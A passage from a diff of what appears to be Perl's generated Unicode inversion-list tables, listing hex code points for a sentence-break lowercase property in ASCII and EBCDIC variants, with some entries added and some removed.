+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1E800,
+	0x1E8C5,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SB__LO_invlist[] = { /* for ASCII/Latin1 */
+	1279,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xB5,
+	0xB6,
+	0xBA,
+	0xBB,
+	0xDF,
+	0xF7,
+	0xF8,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BB,
+	0x1BD,
+	0x1C0,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x294,
+	0x295,
+	0x2B9,
+	0x2C0,
+	0x2C2,
+	0x2E0,
+	0x2E5,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37A,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
 	0x1D00,
 	0x1DC0,
-	0x1DF6,
-	0x1DFB,
-	0x1E00,
 	0x1E01,
 	0x1E02,
 	0x1E03,
@@ -77491,8 +331884,6 @@
 	0x1F08,
 	0x1F10,
 	0x1F16,
-	0x1F18,
-	0x1F1E,
 	0x1F20,
 	0x1F28,
 	0x1F30,
@@ -77499,17 +331890,8 @@
 	0x1F38,
 	0x1F40,
 	0x1F46,
-	0x1F48,
-	0x1F4E,
 	0x1F50,
 	0x1F58,
-	0x1F59,
-	0x1F5A,
-	0x1F5B,
-	0x1F5C,
-	0x1F5D,
-	0x1F5E,
-	0x1F5F,
 	0x1F60,
 	0x1F68,
 	0x1F70,
@@ -77524,7 +331906,6 @@
 	0x1FB5,
 	0x1FB6,
 	0x1FB8,
-	0x1FBD,
 	0x1FBE,
 	0x1FBF,
 	0x1FC2,
@@ -77531,62 +331912,22 @@
 	0x1FC5,
 	0x1FC6,
 	0x1FC8,
-	0x1FCD,
 	0x1FD0,
 	0x1FD4,
 	0x1FD6,
 	0x1FD8,
-	0x1FDC,
 	0x1FE0,
 	0x1FE8,
-	0x1FED,
 	0x1FF2,
 	0x1FF5,
 	0x1FF6,
 	0x1FF8,
-	0x1FFD,
-	0x2000,
-	0x200B,
-	0x200C,
-	0x200E,
-	0x2010,
-	0x2013,
-	0x2015,
-	0x2018,
-	0x2020,
-	0x2024,
-	0x2025,
-	0x2028,
-	0x202A,
-	0x202F,
-	0x2030,
-	0x2039,
-	0x203B,
-	0x203C,
-	0x203E,
-	0x2045,
-	0x2047,
-	0x204A,
-	0x205F,
-	0x2060,
-	0x2065,
-	0x2066,
-	0x2070,
 	0x2071,
 	0x2072,
-	0x207D,
 	0x207F,
 	0x2080,
-	0x208D,
-	0x208F,
 	0x2090,
 	0x209D,
-	0x20D0,
-	0x20F1,
-	0x2102,
-	0x2103,
-	0x2107,
-	0x2108,
 	0x210A,
 	0x210B,
 	0x210E,
@@ -77593,18 +331934,6 @@
 	0x2110,
 	0x2113,
 	0x2114,
-	0x2115,
-	0x2116,
-	0x2119,
-	0x211E,
-	0x2124,
-	0x2125,
-	0x2126,
-	0x2127,
-	0x2128,
-	0x2129,
-	0x212A,
-	0x212E,
 	0x212F,
 	0x2130,
 	0x2134,
@@ -77613,45 +331942,18 @@
 	0x213A,
 	0x213C,
 	0x213E,
-	0x2140,
-	0x2145,
 	0x2146,
 	0x214A,
 	0x214E,
 	0x214F,
-	0x2160,
 	0x2170,
 	0x2180,
-	0x2183,
 	0x2184,
 	0x2185,
-	0x2189,
-	0x2308,
-	0x230C,
-	0x2329,
-	0x232B,
-	0x24B6,
 	0x24D0,
 	0x24EA,
-	0x275B,
-	0x2761,
-	0x2768,
-	0x2776,
-	0x27C5,
-	0x27C7,
-	0x27E6,
-	0x27F0,
-	0x2983,
-	0x2999,
-	0x29D8,
-	0x29DC,
-	0x29FC,
-	0x29FE,
-	0x2C00,
-	0x2C2F,
 	0x2C30,
 	0x2C5F,
-	0x2C60,
 	0x2C61,
 	0x2C62,
 	0x2C65,
@@ -77768,12 +332070,10 @@
 	0x2CE2,
 	0x2CE3,
 	0x2CE5,
-	0x2CEB,
 	0x2CEC,
 	0x2CED,
 	0x2CEE,
 	0x2CEF,
-	0x2CF2,
 	0x2CF3,
 	0x2CF4,
 	0x2D00,
@@ -77782,95 +332082,4626 @@
 	0x2D28,
 	0x2D2D,
 	0x2D2E,
-	0x2D30,
-	0x2D68,
-	0x2D6F,
-	0x2D70,
-	0x2D7F,
-	0x2D80,
-	0x2D97,
-	0x2DA0,
-	0x2DA7,
-	0x2DA8,
-	0x2DAF,
-	0x2DB0,
-	0x2DB7,
-	0x2DB8,
-	0x2DBF,
-	0x2DC0,
-	0x2DC7,
-	0x2DC8,
-	0x2DCF,
-	0x2DD0,
-	0x2DD7,
-	0x2DD8,
-	0x2DDF,
-	0x2DE0,
-	0x2E00,
-	0x2E0E,
-	0x2E1C,
-	0x2E1E,
-	0x2E20,
-	0x2E2A,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69E,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA78F,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xA7F8,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D455,
+	0x1D456,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D4B6,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D51E,
+	0x1D538,
+	0x1D552,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A6,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6E2,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D71C,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D756,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D790,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CA,
+	0x1D7CB,
+	0x1D7CC,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__LO_invlist[] = { /* for EBCDIC 1047 */
+	1287,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BB,
+	0x1BD,
+	0x1C0,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x294,
+	0x295,
+	0x2B9,
+	0x2C0,
+	0x2C2,
+	0x2E0,
+	0x2E5,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37A,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D00,
+	0x1DC0,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
